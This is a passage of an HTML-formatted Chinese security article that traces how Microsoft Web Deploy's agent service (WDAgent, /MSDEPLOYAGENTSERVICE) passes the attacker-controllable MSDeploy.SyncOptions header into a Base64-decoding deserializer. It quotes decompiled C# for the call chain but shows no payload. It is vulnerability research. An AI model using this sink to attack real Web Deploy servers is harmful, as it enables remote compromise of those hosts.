229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ServiceBase</span></code><span leaf=""> 服务接口）：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008676" class="rich_pages wxw-img" data-ratio="0.44722222222222224" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=ff8bc3b3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzLxV0rey8SMxJMoXubHw6KqdYGmMtSKCpavdcZaz9wDIescKQBIPOQN2W9iaiacalcRSNsPaV6u68A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">以 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">WDAgent</span></code><span leaf=""> 为例，其作为代理绑定了 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/MSDEPLOYAGENTSERVICE</span></code><span leaf=""> 路径：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;background: rgb(43, 43, 43);color: rgb(248, 248, 242);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">string</span></span><span leaf=""> text2 = </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(171, 227, 56);"><span leaf="">&#34;<a href="http://+:80/MSDEPLOYAGENTSERVICE/" target="_blank">http://+:80/MSDEPLOYAGENTSERVICE/</a>&#34;</span></span><span leaf="">;</span></code></pre><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">调用栈调试</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">下面需要确认参数是否可控。进入 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">WDAgent.BeginProcessRequest</span></code><span leaf=""> ，一直往下走将调用 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">DeploymentAgent.HandleRequest</span></code><span leaf=""> ：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008677" class="rich_pages wxw-img" data-ratio="0.462037037037037" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=9dc8acee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzLxV0rey8SMxJMoXubHw6K9rx7SAib9J6BeiaW8WpGpYa62dpanicKzttcfnkYIicMwGTYs4JFbgP3xA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">往下走进入 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">HandleRequestWorker</span></code><span leaf=""> 函数，内部存在多个判断，对于 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">POST</span></code><span leaf=""> 请求，提取 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">MSDeploy.Method</span></code><span leaf=""> 头为 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">AgentMethod.Sync</span></code><span leaf=""> 类型，将进入 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">DeploymentAgent.HandleSync</span></code><span leaf=""> 函数：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008680" class="rich_pages wxw-img" data-ratio="0.2962962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=fbca05bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzLxV0rey8SMxJMoXubHw6KxsTq9vpFzw5jJCx2gAG2ZLBzaMBJXy31GBrjia5OyVib5CdYgF4o1etA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">HandleSync</span></code><span leaf=""> 中通过对 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">MSDeploy.RequestId</span></code><span leaf=""> 、 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Content-Type</span></code><span leaf=""> 、 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">MSDeploy.SyncOptions</span></code><span leaf=""> 请求头的判断，符合条件判断后将提取的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">MSDeploy.SyncOptions</span></code><span leaf=""> 值传入 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">SerializationHelper.Deserialize</span></code><span leaf=""> 进行反序列化：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;background: rgb(43, 43, 43);color: rgb(248, 248, 242);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">string</span></span><span leaf=""> requestId = workerRequest.RequestId;        </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(212, 208, 171);"><span leaf="">//MSDeploy.RequestId</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">if</span></span><span leaf=""> (</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">string</span></span><span leaf="">.IsNullOrEmpty(requestId))</span><span leaf="">{</span><span leaf="">    </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">throw </span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">new</span></span><span leaf=""> DeploymentException(Resources.AgentExpectingHeader, </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">new </span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">object</span></span><span leaf="">[] { </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(171, 227, 56);"><span leaf="">&#34;MSDeploy.RequestId&#34;</span></span><span leaf=""> });</span><span leaf="">}</span><span leaf="">...</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">string</span></span><span leaf=""> requestHeader = workerRequest.GetRequestHeader(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(171, 227, 56);"><span leaf="">&#34;Content-Type&#34;</span></span><span leaf="">);        </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(212, 208, 171);"><span leaf="">//Content-Type</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">if</span></span><span leaf=""> (!</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">string</span></span><span leaf="">.Equals(requestHeader, </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(171, 227, 56);"><span leaf="">&#34;application/msdeploy&#34;</span></span><span leaf="">, StringComparison.OrdinalIgnoreCase))</span><span leaf="">{</span><span leaf="">    </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">throw </span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">new</span></span><span leaf=""> DeploymentException(Resources.AgentBadRequestHeader, </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">new </span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">object</span></span><span leaf="">[] { </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(171, 227, 56);"><span leaf="">&#34;Content-Type&#34;</span></span><span leaf="">, requestHeader, </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(171, 227, 56);"><span leaf="">&#34;application/msdeploy&#34;</span></span><span leaf=""> });</span><span leaf="">}</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">string</span></span><span leaf=""> requestHeader2 = workerRequest.GetRequestHeader(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(171, 227, 56);"><span leaf="">&#34;MSDeploy.SyncOptions&#34;</span></span><span leaf="">);    </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(212, 208, 171);"><span leaf="">//MSDeploy.SyncOptions</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">if</span></span><span leaf=""> (</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">string</span></span><span leaf="">.IsNullOrEmpty(requestHeader2))</span><span leaf="">{</span><span leaf="">    </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">throw </span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">new</span></span><span leaf=""> DeploymentException(Resources.AgentExpectingHeader, </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">new </span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">object</span></span><span leaf="">[] { </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(171, 227, 56);"><span leaf="">&#34;MSDeploy.SyncOptions&#34;</span></span><span leaf=""> });</span><span leaf="">}</span><span leaf="">DeploymentSyncOptions deploymentSyncOptions = (DeploymentSyncOptions)SerializationHelper.Deserialize(requestHeader2); </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(212, 208, 171);"><span leaf="">//反序列化</span></span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Deserialize</span></code><span leaf=""> 首先进行 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Base64</span></code><span leaf=""> 解码，然后进行 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 